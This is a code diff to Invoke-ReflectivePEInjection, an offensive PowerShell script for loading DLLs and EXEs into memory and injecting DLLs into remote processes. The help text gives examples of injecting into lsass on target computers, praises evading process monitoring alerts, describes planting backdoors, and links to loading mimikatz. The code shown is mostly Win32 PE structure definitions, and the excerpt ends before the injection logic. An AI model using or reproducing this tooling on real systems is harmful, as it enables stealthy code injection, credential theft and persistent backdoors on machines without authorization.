.PARAMETER ProcName Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. @@ -66,7 +66,7 @@ Optional, will force the use of ASLR on the PE being loaded even if the PE indic .PARAMETER DoNotZeroMZ Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. - + .EXAMPLE Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). @@ -76,7 +76,7 @@ Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -Computer .EXAMPLE Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print - the wchar_t* returned by WStringFunc() from all the computers. + the wchar_t* returned by WStringFunc() from all the computers. $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) @@ -102,19 +102,19 @@ Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Tar GENERAL NOTES: The script has 3 basic sets of functionality: 1.) Reflectively load a DLL in to the PowerShell process - -Can return DLL output to user when run remotely or locally. - -Cleans up memory in the PS process once the DLL finishes executing. - -Great for running pentest tools on remote computers without triggering process monitoring alerts. - -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. 2.) Reflectively load an EXE in to the PowerShell process. - -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. - -Cleans up memory in the PS process once the DLL finishes executing. - -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. 3.) Reflectively inject a DLL in to a remote process. - -Can NOT return DLL output to the user when run remotely OR locally. - -Does NOT clean up memory in the remote process if/when DLL finishes execution. - -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. - -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. DLL LOADING NOTES: @@ -159,725 +159,727 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ #> +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] +[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, - - [Parameter(Position = 1)] - [String[]] - $ComputerName, - - [Parameter(Position = 2)] + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] - [String] - $FuncReturnType = 'Void', - - [Parameter(Position = 3)] - [String] - $ExeArgs, - - [Parameter(Position = 4)] - [Int32] - $ProcId, - - [Parameter(Position = 5)] - [String] - $ProcName, + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName, [Switch] $ForceASLR, - [Switch] - $DoNotZeroMZ + [Switch] + $DoNotZeroMZ ) Set-StrictMode -Version 2 $RemoteScriptBlock = { - [CmdletBinding()] - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [String] - $FuncReturnType, - - [Parameter(Position = 2, Mandatory = $true)] - [Int32] - $ProcId, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ProcName, + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $true)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ProcName, [Parameter(Position = 4, Mandatory = $true)] [Bool] $ForceASLR - ) - - ################################### - ########## Win32 Stuff ########## - ################################### - Function Get-Win32Types - { - $Win32Types = New-Object System.Object - - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - - ############ ENUM ############ - #Enum MachineType - $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null - $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null - $MachineType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType - - #Enum MagicType - $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null - $MagicType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType - - #Enum SubSystemType - $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null - $SubSystemType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType - - #Enum DllCharacteristicsType - $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) - $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null - $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null - $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null - $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null - $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null - $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null - $DllCharacteristicsType = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType - - ########### STRUCT ########### - #Struct IMAGE_DATA_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) - ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null - $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY - - #Struct IMAGE_FILE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null - $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER - - #Struct IMAGE_OPTIONAL_HEADER64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null - $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 - - #Struct IMAGE_OPTIONAL_HEADER32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) - ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null - ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null - ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null - ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null - ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null - ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null - ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null - ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null - ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null - ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null - ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null - ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null - ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null - ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null - ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null - ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null - ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null - ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null - ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null - ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null - ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null - ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null - ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null - ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null - ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null - ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null - ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null - ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null - ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null - ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null - ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null - ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null - ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null - ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null - ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null - ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null - ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null - ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null - ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null - ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null - ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null - ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null - ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null - $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 - - #Struct IMAGE_NT_HEADERS64 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null - $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 - - #Struct IMAGE_NT_HEADERS32 - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) - $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null - $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 - - #Struct IMAGE_DOS_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) - $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null - - $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $e_resField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null - - $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) - $e_res2Field.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null - $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER - - #Struct IMAGE_SECTION_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) - - $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') - $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) - $nameField.SetCustomAttribute($AttribBuilder) - - $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER - - #Struct IMAGE_BASE_RELOCATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null - $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION - - #Struct IMAGE_IMPORT_DESCRIPTOR - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) - $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null - $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() - $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR - - #Struct IMAGE_EXPORT_DIRECTORY - $Attributes = 'AutoLayout, AnsiClass, Class, Public, 